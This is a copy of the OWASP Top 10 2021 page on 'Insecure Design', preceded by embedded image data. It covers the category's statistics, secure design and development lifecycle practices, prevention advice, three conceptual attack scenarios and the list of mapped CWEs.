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){: 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## Factors
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 40 | 24.19% | 3.00% | 6.46 | 6.78 | 77.25% | 42.51% | 262,407 | 2,691 |
## Overview
A new category for 2021 focuses on risks related to design and architectural flaws, with a call for more use of threat modeling, secure design patterns, and reference architectures. As a community we need to move beyond "shift-left" in the coding space to pre-code activities that are critical for the principles of Secure by Design. Notable Common Weakness Enumerations (CWEs) include *CWE-209: Generation of Error Message Containing Sensitive Information*, *CWE-256: Unprotected Storage of Credentials*, *CWE-501: Trust Boundary Violation*, and *CWE-522: Insufficiently Protected Credentials*.
## Description
Insecure design is a broad category representing different weaknesses, expressed as “missing or ineffective control design.” Insecure design is not the source for all other Top 10 risk categories. There is a difference between insecure design and insecure implementation. We differentiate between design flaws and implementation defects for a reason, they have different root causes and remediation. A secure design can still have implementation defects leading to vulnerabilities that may be exploited. An insecure design cannot be fixed by a perfect implementation as by definition, needed security controls were never created to defend against specific attacks. One of the factors that contribute to insecure design is the lack of business risk profiling inherent in the software or system being developed, and thus the failure to determine what level of security design is required.
### Requirements and Resource Management
Collect and negotiate the business requirements for an application with the business, including the protection requirements concerning confidentiality, integrity, availability, and authenticity of all data assets and the expected business logic. Take into account how exposed your application will be and if you need segregation of tenants (additionally to access control). Compile the technical requirements, including functional and non-functional security requirements. Plan and negotiate the budget covering all design, build, testing, and operation, including security activities.
### Secure Design
Secure design is a culture and methodology that constantly evaluates threats and ensures that code is robustly designed and tested to prevent known attack methods. Threat modeling should be integrated into refinement sessions (or similar activities); look for changes in data flows and access control or other security controls. In the user story development determine the correct flow and failure states, ensure they are well understood and agreed upon by responsible and impacted parties. Analyze assumptions and conditions for expected and failure flows, ensure they are still accurate and desirable. Determine how to validate the assumptions and enforce conditions needed for proper behaviors. Ensure the results are documented in the user story. Learn from mistakes and offer positive incentives to promote improvements. Secure design is neither an add-on nor a tool that you can add to software.
### Secure Development Lifecycle
Secure software requires a secure development lifecycle, some form of secure design pattern, paved road methodology, secured component library, tooling, and threat modeling. Reach out for your security specialists at the beginning of a software project throughout the whole project and maintenance of your software. Consider leveraging the [OWASP Software Assurance Maturity Model (SAMM)](https://owaspsamm.org) to help structure your secure software development efforts.
## How to Prevent
- Establish and use a secure development lifecycle with AppSec
professionals to help evaluate and design security and
privacy-related controls
- Establish and use a library of secure design patterns or paved road
ready to use components
- Use threat modeling for critical authentication, access control,
business logic, and key flows
- Integrate security language and controls into user stories
- Integrate plausibility checks at each tier of your application
(from frontend to backend)
- Write unit and integration tests to validate that all critical flows
are resistant to the threat model. Compile use-cases *and* misuse-cases
for each tier of your application.
- Segregate tier layers on the system and network layers depending on the
exposure and protection needs
- Segregate tenants robustly by design throughout all tiers
- Limit resource consumption by user or service
## Example Attack Scenarios
**Scenario #1:** A credential recovery workflow might include “questions
and answers,” which is prohibited by NIST 800-63b, the OWASP ASVS, and
the OWASP Top 10. Questions and answers cannot be trusted as evidence of
identity as more than one person can know the answers, which is why they
are prohibited. Such code should be removed and replaced with a more
secure design.
**Scenario #2:** A cinema chain allows group booking discounts and has a
maximum of fifteen attendees before requiring a deposit. Attackers could
threat model this flow and test if they could book six hundred seats and
all cinemas at once in a few requests, causing a massive loss of income.
**Scenario #3:** A retail chain’s e-commerce website does not have
protection against bots run by scalpers buying high-end video cards to
resell auction websites. This creates terrible publicity for the video
card makers and retail chain owners and enduring bad blood with
enthusiasts who cannot obtain these cards at any price. Careful anti-bot
design and domain logic rules, such as purchases made within a few
seconds of availability, might identify inauthentic purchases and
rejected such transactions.
## References
- [OWASP Cheat Sheet: Secure Design Principles](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Product_Design_Cheat_Sheet.html)
- [OWASP SAMM: Design:Security Architecture](https://owaspsamm.org/model/design/security-architecture/)
- [OWASP SAMM: Design:Threat Assessment](https://owaspsamm.org/model/design/threat-assessment/)
- [NIST – Guidelines on Minimum Standards for Developer Verification of Software](https://www.nist.gov/publications/guidelines-minimum-standards-developer-verification-software)
- [The Threat Modeling Manifesto](https://threatmodelingmanifesto.org)
- [Awesome Threat Modeling](https://github.com/hysnsec/awesome-threat-modelling)
## List of Mapped CWEs
[CWE-73 External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)
[CWE-183 Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)
[CWE-209 Generation of Error Message Containing Sensitive Information](https://cwe.mitre.org/data/definitions/209.html)
[CWE-213 Exposure of Sensitive Information Due to Incompatible Policies](https://cwe.mitre.org/data/definitions/213.html)
[CWE-235 Improper Handling of Extra Parameters](https://cwe.mitre.org/data/definitions/235.html)
[CWE-256 Unprotected Storage of Credentials](https://cwe.mitre.org/data/definitions/256.html)
[CWE-257 Storing Passwords in a Recoverable Format](https://cwe.mitre.org/data/definitions/257.html)
[CWE-266 Incorrect Privilege Assignment](https://cwe.mitre.org/data/definitions/266.html)
[CWE-269 Improper Privilege Management](https://cwe.mitre.org/data/definitions/269.html)
[CWE-280 Improper Handling of Insufficient Permissions or Privileges](https://cwe.mitre.org/data/definitions/280.html)
[CWE-311 Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html)
[CWE-312 Cleartext Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/312.html)
[CWE-313 Cleartext Storage in a File or on Disk](https://cwe.mitre.org/data/definitions/313.html)
[CWE-316 Cleartext Storage of Sensitive Information in Memory](https://cwe.mitre.org/data/definitions/316.html)
[CWE-419 Unprotected Primary Channel](https://cwe.mitre.org/data/definitions/419.html)
[CWE-430 Deployment of Wrong Handler](https://cwe.mitre.org/data/definitions/430.html)
[CWE-434 Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html)
[CWE-444 Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')](https://cwe.mitre.org/data/definitions/444.html)
[CWE-451 User Interface (UI) Misrepresentation of Critical Information](https://cwe.mitre.org/data/definitions/451.html)
[CWE-472 External Control of Assumed-Immutable Web Parameter](https://cwe.mitre.org/data/definitions/472.html)
[CWE-501 Trust Boundary Violation](https://cwe.mitre.org/data/definitions/501.html)
[CWE-522 Insufficiently Protected Credentials](https://cwe.mitre.org/data/definitions/522.html)
[CWE-525 Use of Web Browser Cache Containing Sensitive Information](https://cwe.mitre.org/data/definitions/525.html)
[CWE-539 Use of Persistent Cookies Containing Sensitive Information](https://cwe.mitre.org/data/definitions/539.html)
[CWE-579 J2EE Bad Practices: Non-serializable Object Stored in Session](https://cwe.mitre.org/data/definitions/579.html)
[CWE-598 Use of GET Request Method With Sensitive Query Strings](https://cwe.mitre.org/data/definitions/598.html)
[CWE-602 Client-Side Enforcement of Server-Side Security](https://cwe.mitre.org/data/definitions/602.html)
[CWE-642 External Control of Critical State Data](https://cwe.mitre.org/data/definitions/642.html)
[CWE-646 Reliance on File Name or Extension of Externally-Supplied File](https://cwe.mitre.org/data/definitions/646.html)
[CWE-650 Trusting HTTP Permission Methods on the Server Side](https://cwe.mitre.org/data/definitions/650.html)
[CWE-653 Insufficient Compartmentalization](https://cwe.mitre.org/data/definitions/653.html)
[CWE-656 Reliance on Security Through Obscurity](https://cwe.mitre.org/data/definitions/656.html)
[CWE-657 Violation of Secure Design Principles](https://cwe.mitre.org/data/definitions/657.html)
[CWE-799 Improper Control of Interaction Frequency](https://cwe.mitre.org/data/definitions/799.html)
[CWE-807 Reliance on Untrusted Inputs in a Security Decision](https://cwe.mitre.org/data/definitions/807.html)
[CWE-840 Business Logic Errors](https://cwe.mitre.org/data/definitions/840.html)
[CWE-841 Improper Enforcement of Behavioral Workflow](https://cwe.mitre.org/data/definitions/841.html)
[CWE-927 Use of Implicit Intent for Sensitive Communication](https://cwe.mitre.org/data/definitions/927.html)
[CWE-1021 Improper Restriction of Rendered UI Layers or Frames](https://cwe.mitre.org/data/definitions/1021.html)
